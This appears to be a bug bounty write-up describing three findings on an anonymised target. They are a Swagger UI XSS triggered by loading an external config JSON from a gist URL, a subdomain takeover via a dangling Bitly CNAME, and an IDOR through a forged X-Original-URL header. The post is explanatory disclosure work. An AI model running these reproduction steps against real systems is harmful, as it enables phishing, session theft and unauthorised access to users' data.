1. HTML Injection and XSS in Swagger ( severity medium)
While testing the API on x.domain, I noticed something interesting. After exploring the /api/ endpoint with Burp Suite, I used dirb to find hidden directories. And voilà I discovered a Swagger UI page at /swagger.
This Swagger UI lets you load an external config file through the config parameter. The problem is it doesn’t properly sanitize this input, which allows injecting HTML and JavaScript leading to a cross-site scripting (XSS) vulnerability.
Steps to Reproduce
1. Open your browser and go to this URL (replace x.domain with the real target) https://x.domain/swagger?config=https://gist.githubusercontent.com/zenelite123/af28f9b61759b800cb65f93ae7227fb5/raw/04003a9372ac6a5077ad76aa3d20f2e76635765b/test.json
2. The Swagger UI will load the external JSON config file from the URL above.
3. You will see the page change instead of the usual Swagger UI, a fake login form appears.
4. Also, a popup alert will show the current domain name, proving that the injected JavaScript is running.
Impact
This bug can be dangerous because it allows an attacker to:
Inject any HTML or JavaScript into the Swagger UI page
Show fake login forms and trick users into typing passwords (phishing)
Run malicious scripts that can steal cookies or session tokens
Potentially hijack accounts if an admin or logged-in user opens the link
Swagger is usually used by developers or admins, so this kind of bug could have a serious impact.
2. Subdomain Takeover ( severity High )
While checking the target’s DNS records and subdomains, I found unused.x.domain pointing to a third-party service that wasn’t active anymore. That means the subdomain was pointing to a service (like Bitly Pages, Bitbucket, Shopify, etc.) but nothing was actually hosted there.
This opens the door for subdomain takeover where we can register or claim that external service and take control of the subdomain.
Steps to Reproduce
I used dirb to fuzzing directories, it returned only 404 errors another sign that nothing was set up.
2. Then I checked the DNS records with dig unused.x.domain And found a CNAME like this: cname.bitly.com
3. This shows the domain is configured to use Bitly’s custom short links, but the actual Bitly configuration is missing or was never completed.
4. This setup allows for a subdomain takeover I could register a Bitly account, claim the short domain, and start serving my own links under unused.x.domain
Impact
If an attacker takes over this subdomain they could:
Host malicious short links under a trusted domain like unused.x.domain, which may trick users into clicking them.
Launch phishing attacks, making fake login pages look more legitimate.
Bypass email filters or security scanners, since links from trusted root domains often appear safe.
Damage the company’s reputation, especially if attackers share harmful or misleading content from that subdomain.
Abuse open redirect chains short URLs could be used to redirect users to other malicious sites, increasing the risk.
3. IDOR via X-Original-URL Header Manipulation — Bypassing Access Control in POST Requests (severity High )
Testing API I noticed the backend application improperly trusts the X-Original-URL header to determine the resource path and access control context. By modifying this header in a POST request, I was able to bypass authorization checks and gain access to restricted resources or other users’ data.
gif by tenor.com
However, it does not properly verify that the authenticated user is authorized to view the requested data.
Because of this, by changing the X-Original-URL header, an attacker can make the server fetch and return sensitive information belonging to other users. This effectively allows bypassing of access controls and leads to information disclosure.
Steps to Reproduce
1. Authenticate as a regular user and get a valid token.
2. Craft a POST request to the generic endpoint (/ or /api/proxy), including the X-Original-URL header pointing to a restricted resource.
Example header:
X-Original-URL: /api/user/profile?id=1234
3. Send the request with your valid token.
4. Observe that the response contains sensitive information for user ID 1234 even though you should only access your own profile.
5. Verify the backend uses the header to route internally without proper authorization checks.
Impact
Unauthorized access to other users’ sensitive information, such as personal details, emails, or account data.
Privacy violation and potential exposure of confidential data.
Can lead to further attacks like social engineering or account takeover if sensitive info is leaked.
Undermines the trust and security guarantees of the application.
High severity for any system handling user data, especially if sensitive or regulated information is involved.









Comments (0)